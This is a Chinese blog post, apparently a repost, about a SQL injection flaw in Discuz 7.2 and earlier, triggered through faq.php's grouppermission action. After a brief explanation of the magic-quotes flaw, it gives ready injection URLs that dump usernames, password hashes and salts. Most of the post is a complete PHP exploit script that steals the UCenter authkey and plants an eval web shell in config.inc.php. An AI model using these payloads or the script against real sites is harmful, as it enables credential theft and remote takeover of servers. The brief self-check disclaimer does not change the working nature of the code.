Discuz <= 7.2 SQL注入漏洞详情

在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里，有
提到通过提取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次完美体
现，如下面的代码片段:

// foo.php?xigr='ryat
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
...
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

echo $xigr['hi'];
// echo \

上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没
有对变量$xigr做严格的类型规定，当我们提交一个字符串变量$xigr='ryat,经过上面的处理
变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重
的安全问题了,再来看下面的代码片段:

...
if($xigr) {
foreach($xigr as $k => $v) {
$uids[] = $v['uid'];
}
$query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')");

利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可
以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞:D

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

爆出账号+密码+salt的语句

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

以下内容仅供站长进行安全自检，非法利用责任自负

附上getshell exp:（根据别人的测试，代码可能有些部分有待完善）

<?php

/**
* @author: xiaoma
* @blog  : www.i0day.com
* @date  : 2014.7.2 23:1
*/

error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名

if ($argc < 2) {
print_r('
********************************************************
*  Discuz faq.php SQL Injection Exp                    *
*  ---------By：Www.i0day.com-----------               *
*     Usage: php '.$argv[0].' url [js]                    *
*  -------------------------------------               *
*  js选项: 1.GetShell 2.取密码 3.查表前缀              *
*                                                      *
*   php '.$argv[0].' Www.i0day.com / 1                    *
*   php '.$argv[0].' Www.i0day.com /dz72/ 1               *
*                                                      *
*                                                      *
********************************************************
');
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);

if(strpos($resp,"::")==-1){
echo '表前缀可能不是默认cdb_ 请先查看表前缀！';
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);
if($lenght){
if($lenght<=124){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\'/U",$resp,$key1);
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
preg_match("/1\^(.*)\'/U",$resp,$key2);
$key=$key1[1].$key2[1];
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com</item>
</root>';
$html1 = send($cmd1);
$res1=substr($html1,-1);
$html2 = send($cmd2);
$res2=substr($html1,-1);
if($res1=='1'&&$res2=='1'){
echo "shell地址：http://".$host.$path.'config.inc.php   pass:i0day';
}
}else{
echo '获取失败';
}
}
}
}

}elseif($js==2){
$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",$resp,$password);
echo '密码：'.$password[1];
}else{
echo '表前缀可能不是默认cdb_ 请先查看表前缀！';
}
}elseif($js==3){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",$resp,$t);

if(strpos($t[1],"cdb_")!=-1){
echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
}else{
echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';
}
}else{
echo "查看表前缀失败,Sorry";
}
}else{
echo "未选择脚本功能";
}

function sendpack($host,$path,$sql,$js){
$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
$data.="Host:".$host."\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
$data.="Connection: close\r\n\r\n";
//$data.=$html."\r\n";
$ock=fsockopen($host,80);

if(!$ock){
echo "No response from ".$host;
die();

}
fwrite($ock,$data);

$resp = '';

while (!feof($ock)) {

$resp.=fread($ock, 1024);
}

return $resp;

}
function send($cmd){
global $host,$code,$path;
$message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}
function hex2str($hex){
$str = '';
$arr = str_split($hex, 2);
foreach($arr as $bit){
$str .= chr(hexdec($bit));
}
return $str;
}
?>

原文链接： http://0day5.com/archives/1834